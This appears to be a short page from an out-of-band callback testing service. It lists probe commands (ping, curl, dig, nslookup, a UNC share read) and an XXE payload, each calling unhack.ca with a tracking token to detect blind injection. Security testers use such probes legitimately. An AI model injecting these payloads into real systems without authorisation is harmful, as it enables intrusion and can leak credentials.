$ ping -c1 -p 002f31aebea0accba1fd2f0523278e00 unhack.ca
 

$ curl http://unhack.ca/p/2f31aebea0accba1fd2f0523278e
 

$ dig 2f31aebea0accba1fd2f0523278e @unhack.ca
 

$ dig 2f31aebea0accba1fd2f0523278e.ns.unhack.ca
 

C:\> nslookup 2f31aebea0accba1fd2f0523278e unhack.ca
 

C:\> type \\unhack.ca\2f31aebea0accba1fd2f0523278e\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/2f31aebea0accba1fd2f0523278e">]>
    <foo>&xxe;</foo>